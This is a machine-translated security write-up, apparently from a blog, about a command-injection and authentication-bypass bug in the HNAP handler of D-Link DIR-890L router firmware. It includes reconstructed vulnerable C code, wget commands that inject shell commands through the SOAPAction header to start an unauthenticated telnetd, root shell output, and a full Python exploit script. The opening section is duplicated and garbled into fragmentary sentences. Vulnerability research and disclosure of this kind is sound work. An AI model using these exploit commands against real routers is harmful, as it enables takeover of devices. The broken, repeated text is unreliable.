Hack D-Link DIR-890L
- Transfer
The last 6 months, I was terribly busy and did not follow the new crap from D-Link. To have some fun, I went to their website, and I was greeted by this nightmare:

the craziest router D-Link DIR-890L $ 300
Perhaps the most "crazy" in the router is that it runs all the same zabagovannoy firmware that D-Link has been putting in its routers for several years ... and the hits just keep on coming.
Well, let's do it as usual - take the latest firmware , go through binwalk on it and see what we got:
It looks like regular Linux firmware, and if you looked at any D-Link firmware over the past few years, you can easily remember the directory structure:
Everything related to HTTP, UPnP, and HNAP is located in the htdocs directory. The most interesting file here is htdocs / cgibin - an ELF binary for ARM, which is run by a web server for, hmm, almost everything: all symlinks to CGI, UPnP and HNAP links lead to this file:
It is, of course, stripped, but it has many lines that will help us. In the first place,

Call graph, the typical cascade of if / else
Each comparison is done by calling strcmp on the well-known names of symbolic links: Various functions handlers various symlinks to to simplify the comparison of handler functions and symlinks, rename them according to the symlink name: Renamed handler functions Now that we have the function names, let's start looking for bugs. Other devices from D-Link, running the exact same firmware, were previously hacked through HTTP and


UPnP interfaces, however, it seems that no one really looked at the HNAP interface that the function handles
HNAP (Home Network Administration Protocol) is a SOAP-based protocol similar to UPnP, which is usually used by the utility for initial configuration of D-Link routers “EZ”. Unlike UPnP, all HNAP activities except
The header is
Due to the fact that it is

SOAPAction = getenv (“HTTP_SOAPACTION”);
Toward the end

sprintf (command, “sh% s% s.sh> / dev / console”, “/ var / run /”, SOAPAction);
Obviously,
At the beginning


Here is the C code that demonstrates an error in the logic:
So, what have we learned from this:
We can easily create a header
By replacing it
We can send HNAP requests from the WAN if remote administration has been enabled. Of course, the firewall blocks all incoming telnet connections from the WAN. The simplest solution is to kill the HTTP server and run telnetd on its port:
I will notice that wget will hang in anticipation of an answer, as
I checked this bug on firmware v1.00 and v1.03 (the latter at the time of writing), and they are both vulnerable. But, as is usually the case with most vulnerabilities in embedded, this code also got into the firmware of other devices.
Analyzing all the firmware is rather tedious, so I passed the information about the bug to the Centrifuge team , which have a difference in the utility for automatically analyzing such things. Centrifuge discovered this vulnerability in the following models:
As far as I know, HNAP cannot be disabled on these devices in any way.
UPDATE: It seems that at the beginning of the year Samuel Huntly found the same bug , but it was fixed only for DIR-645. The patch is bad enough, wait for it to be parsed in the next post.

the craziest router D-Link DIR-890L $ 300
Perhaps the most "crazy" in the router is that it runs all the same zabagovannoy firmware that D-Link has been putting in its routers for several years ... and the hits just keep on coming.
Well, let's do it as usual - take the latest firmware , go through binwalk on it and see what we got:
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------00x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/7"
1160x74 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes
18351240x1C0074 PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes
18351560x1C0094 Squashfs filesystem, little endian, version4.0, compress
It looks like regular Linux firmware, and if you looked at any D-Link firmware over the past few years, you can easily remember the directory structure:
$ ls squashfs-root
bin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp usr var www
Everything related to HTTP, UPnP, and HNAP is located in the htdocs directory. The most interesting file here is htdocs / cgibin - an ELF binary for ARM, which is run by a web server for, hmm, almost everything: all symlinks to CGI, UPnP and HNAP links lead to this file:
$ ls -l htdocs/web/*.cgi
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/captcha.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/fwup.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/seama.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/service.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 3122:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin
It is, of course, stripped, but it has many lines that will help us. In the first place,
main
it compares argv[0]
with a list of famous names he symlinks ( captcha.cgi
, conntrack.cgi
, etc.) to determine what action to perform: 
Call graph, the typical cascade of if / else
Each comparison is done by calling strcmp on the well-known names of symbolic links: Various functions handlers various symlinks to to simplify the comparison of handler functions and symlinks, rename them according to the symlink name: Renamed handler functions Now that we have the function names, let's start looking for bugs. Other devices from D-Link, running the exact same firmware, were previously hacked through HTTP and


UPnP interfaces, however, it seems that no one really looked at the HNAP interface that the function handles
hnap_main
in cgibin
. HNAP (Home Network Administration Protocol) is a SOAP-based protocol similar to UPnP, which is usually used by the utility for initial configuration of D-Link routers “EZ”. Unlike UPnP, all HNAP activities except
GetDeviceInfo
(which is useless) require HTTP Basic authentication.POST /HNAP1 HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWMEHZY+
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping"
<?xml version="1.0" encoding="utf-8"?><soap:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMappingxmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
The header is
SOAPAction
very important in the HNAP request, as it is he who determines what action the server will perform (the action AddPortMapping
in the example above). Due to the fact that it is
cgibin
launched as a CGI application by a web server, it hnap_main
receives HNAP request data, for example, a header SOAPAction
, via environment variables: 
SOAPAction = getenv (“HTTP_SOAPACTION”);
Toward the end
hnap_main
, sprintf
a shell command is generated by the call , which is then executed via system
: 
sprintf (command, “sh% s% s.sh> / dev / console”, “/ var / run /”, SOAPAction);
Obviously,
hnap_main
using the data from the header SOAPAction
inside the command system
! This bug is promising, especially if the titleSOAPAction
not shielded, and if we can get to this place without authentication. At the beginning
hnap_main
, it is checked whether the header is equal to the SOAPAction
string purenetworks.com/HNAP1/GetDeviceSettings
, and if it is equal, authentication is skipped. This is expected, we already noticed earlier that it GetDeviceSettings
does not require authentication: if (strstr (SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”)! = NULL)
Note, however, that a function is used to verify that only checks the presence of a line in the header , and not equality to it.
So, if the header contains a substring , the function retrieves the action name (i.e. ) from the header and removes the double quotes: SOAPAction = strrchr (SOAPAction, '/');
Action Name (
strstr
purenetworks.com/HNAP1/GetDeviceSettings
SOAPAction
SOAPAction
purenetworks.com/HNAP1/GetDeviceSettings
GetDeviceSettings

GetDeviceSettings
) is extracted from the header, then gets into system
, passing sprintf
. Here is the C code that demonstrates an error in the logic:
/* Grab a pointer to the SOAPAction header */
SOAPAction = getenv("HTTP_SOAPACTION");
/* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL)
{
/* do auth check */
}
/* Do a reverse search for the last forward slash in the SOAPAction header */
SOAPAction = strrchr(SOAPAction, '/');
if(SOAPAction != NULL)
{
/* Point the SOAPAction pointer one byte beyond the last forward slash */
SOAPAction += 1;
/* Get rid of any trailing double quotes */if(SOAPAction[strlen(SOAPAction)-1] == '"')
{
SOAPAction[strlen(SOAPAction)-1] = '\0';
}
}
else
{
goto failure_condition;
}
/* Build the command using the specified SOAPAction string and execute it */sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);
system(command);
So, what have we learned from this:
- There is no authentication check if
SOAPAction
there is a substring in the headerpurenetworks.com/HNAP1/GetDeviceSettings
- In
sprintf
(ssystem
) is transmitted whatever is after the last slash titleSOAPAction
We can easily create a header
SOAPAction
that will satisfy the authentication pass and allow us to pass our line to system
:SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"
purenetworks.com/HNAP1/GetDeviceSettings
in the header allows us to bypass authentication, and the string `reboot`
will be passed tosystem
system("sh /var/run/`reboot`.sh > /dev/console");
By replacing it
reboot
, telnetd
we will start the telnet server without authentication:$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"'http://192.168.0.1/HNAP1
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
BusyBox v1.14.1 (2015-02-1117:15:51 CST) built-in shell (msh)
Enter 'help'for a list of built-in commands.
#
We can send HNAP requests from the WAN if remote administration has been enabled. Of course, the firewall blocks all incoming telnet connections from the WAN. The simplest solution is to kill the HTTP server and run telnetd on its port:
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"'http://1.2.3.4:8080/HNAP1
$ telnet 1.2.3.48080
Trying 1.2.3.4...
Connected to 1.2.3.4.
Escape character is '^]'.
BusyBox v1.14.1 (2015-02-1117:15:51 CST) built-in shell (msh)
Enter 'help'for a list of built-in commands.
#
I will notice that wget will hang in anticipation of an answer, as
cgibin
will wait for telnetd to complete. Here's a little Python PoC that makes things a little more convenient:#!/usr/bin/env pythonimport sys
import urllib2
import httplib
try:
ip_port = sys.argv[1].split(':')
ip = ip_port[0]
if len(ip_port) == 2:
port = ip_port[1]
elif len(ip_port) == 1:
port = "80"else:
raise IndexError
except IndexError:
print"Usage: %s <target ip:port>" % sys.argv[0]
sys.exit(1)
url = "http://%s:%s/HNAP1" % (ip, port)
# NOTE: If exploiting from the LAN, telnetd can be started on# any port; killing the http server and re-using its port# is not necessary.## Killing off all hung hnap processes ensures that we can# re-start httpd later.
command = "killall httpd; killall hnap; telnetd -p %s" % port
headers = {
"SOAPAction" : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command,
}
req = urllib2.Request(url, None, headers)
try:
urllib2.urlopen(req)
raise Exception("Unexpected response")
except httplib.BadStatusLine:
print"Exploit sent, try telnetting to %s:%s!" % (ip, port)
print"To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'"
sys.exit(0)
except Exception:
print"Received an unexpected response from the server; exploit probably failed. :("
I checked this bug on firmware v1.00 and v1.03 (the latter at the time of writing), and they are both vulnerable. But, as is usually the case with most vulnerabilities in embedded, this code also got into the firmware of other devices.
Analyzing all the firmware is rather tedious, so I passed the information about the bug to the Centrifuge team , which have a difference in the utility for automatically analyzing such things. Centrifuge discovered this vulnerability in the following models:
- DAP-1522 revB
- DAP-1650 revB
- DIR-880L
- DIR-865L
- DIR-860L revA
- DIR-860L revB
- DIR-815 revB
- DIR-300 revB
- DIR-600 revB
- DIR-645
- TEW-751DR
- TEW-733GR
As far as I know, HNAP cannot be disabled on these devices in any way.
UPDATE: It seems that at the beginning of the year Samuel Huntly found the same bug , but it was fixed only for DIR-645. The patch is bad enough, wait for it to be parsed in the next post.